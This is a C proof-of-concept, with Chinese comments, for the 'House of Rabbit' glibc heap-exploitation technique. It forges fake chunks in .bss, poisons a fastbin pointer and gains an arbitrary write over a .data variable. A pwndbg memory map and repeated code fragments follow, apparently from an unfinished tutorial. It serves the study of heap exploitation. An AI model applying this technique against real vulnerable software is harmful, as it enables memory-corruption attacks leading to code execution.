#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void evict_tcache(size_t size);

char target[0x30] = "Hello, World!";
unsigned long gbuf[8] = {0};

int main(void){
    void *p, *fast, *small, *fake;
    char *victim;

    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    //在不泄漏地址的情况下绕过堆ASLR，使覆盖位于任意地址的变量成为可能。
    printf("House of Rabbit Poc\n\n");

    printf("0. 关闭 0x20,0x90 chunks 的tcache (glibc version >= 2.26)\n\n");
    evict_tcache(0x18);
    evict_tcache(0x88);

    printf("1. 'av->system_mem > 0xa00000'\n");
    p = malloc(0xa00000);
    printf(" 在 %p 通过mmap申请0xa00000 byte大小的内存, 然后 free.\n", p);
    free(p);

    p = malloc(0xa00000);
    printf("   在 %p 通过mmap申请0xa00000 byte大小的内存, 然后 free.\n", p);
    free(p);
    printf(" 'av->system_mem' 将会比 0xa00000 大.\n\n");

    printf("2. Free fast chunk 插入 fastbins 链表\n");
    fast = malloc(0x18);
    small = malloc(0x88);
    printf( "  申请 fast chunk 和 small chunk.\n"
        "  fast = %p\n"
        "  small = %p\n", fast, small);
    free(fast);
    printf("  Free fast chunk.\n\n");

    printf("3. 在 .bss 构造 fake_chunk\n");
    gbuf[0] = 0xfffffffffffffff0;
    gbuf[1] = 0x10;
    gbuf[3] = 0x21;
    gbuf[7] = 0x1;
    printf( "  fake_chunk1 (size : 0x%lx) is at %p\n"
        "  fake_chunk2 (size : 0x%lx) is at %p\n\n"
        , gbuf[3], &gbuf[2], gbuf[1], &gbuf[0]);

    fake = &gbuf[2];
    printf( "漏洞利用 (UAF，fastbins dup等)\n"
        "  *fast = %p\n"
        , fake);
    *(unsigned long**)fast = fake;
    printf("  fastbins list : [%p, %p, %p]\n\n", fast-0x10, fake, *(void **)(fake+0x10));

    printf( "4. 调用 malloc_consolidate\n"
        "  Free 和top相邻的 small chunk (%p) , 将 fake_chunk1(%p) 插入 unsorted bins 链表.\n\n"
        , small, fake);
    free(small);

    printf( "5. 将 unsorted bins 链接到合适的链表\n"
        "  将 fake_chunk1 的 size 重写为 0xa0001 来绕过 'size < av->system_mem' 检查.\n");
    gbuf[3] = 0xa00001;
    malloc(0xa00000);
    printf( "  申请一个超大 chunk.\n"
        "  现在, fake_chunk1 会链接到 largebin[126](max).\n"
        "  然后, 将fake_chunk1 的 size 改为 0xfffffffffffffff1.\n\n");
    gbuf[3] = 0xfffffffffffffff1;   

    printf( "6. 覆写 .data 段上的目标值\n"
        "  目标值位于 %p\n"
        "  覆写之前是 : %s\n"
        , &target, target);

    malloc((void*)&target-(void*)(gbuf+2)-0x20);
    victim = malloc(0x10);
    printf("  在 %p 申请 0x10 byte, 然后任意写入.\n", victim);
    strcpy(victim, "Hacked!!");

    printf("  覆写之后是  : %s\n", target);
}

void evict_tcache(size_t size){
    void *p;

#if defined(GLIBC_VERSION) && (GLIBC_VERSION >= 26)
    p = malloc(size);

#if (GLIBC_VERSION < 29)
    free(p);
    free(p);
    malloc(size);
    malloc(size);

    *(void**)p = NULL;

    malloc(size);
#else

#if (GLIBC_VERSION == 29)
    char *counts        = (char*)(((unsigned long)p & ~0xfff) + 0x10);
#else
    uint16_t *counts    = (char*)(((unsigned long)p & ~0xfff) + 0x10);
#endif
    counts[(size + 0x10 >> 4) - 2] = 0xff;

#endif
#endif
}

p = malloc(0xa00000);
    free(p);

    p = malloc(0xa00000);
    free(p);

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x402000 r-xp     2000 0      /home/kabeo/Desktop/house_of_rabbit
          0x601000           0x602000 r--p     1000 1000   /home/kabeo/Desktop/house_of_rabbit
          0x602000           0x603000 rw-p     1000 2000   /home/kabeo/Desktop/house_of_rabbit
          0x603000          0x1024000 rw-p   a21000 0      [heap]  <===== 扩大到0xa21000
    0x7ffff7a0d000     0x7ffff7bcd000 r-xp   1c0000 0      /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7bcd000     0x7ffff7dcd000 ---p   200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dcd000     0x7ffff7dd1000 r--p     4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dd1000     0x7ffff7dd3000 rw-p     2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dd3000     0x7ffff7dd7000 rw-p     4000 0      
    0x7ffff7dd7000     0x7ffff7dfd000 r-xp    26000 0      /lib/x86_64-linux-gnu/ld-2.23.so
    0x7ffff7fdd000     0x7ffff7fe0000 rw-p     3000 0      
    0x7ffff7ff7000     0x7ffff7ffa000 r--p     3000 0      [vvar]
    0x7ffff7ffa000     0x7ffff7ffc000 r-xp     2000 0      [vdso]
    0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000 25000  /lib/x86_64-linux-gnu/ld-2.23.so
    0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000 26000  /lib/x86_64-linux-gnu/ld-2.23.so
    0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000 0      
    0x7ffffffde000     0x7ffffffff000 rw-p    21000 0      [stack]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]

fast = malloc(0x18);
small = malloc(0x88);

free(fast);

gbuf[0] = 0xfffffffffffffff0;
gbuf[1] = 0x10;
gbuf[3] = 0x21;
gbuf[7] = 0x1;

fake = &gbuf[2];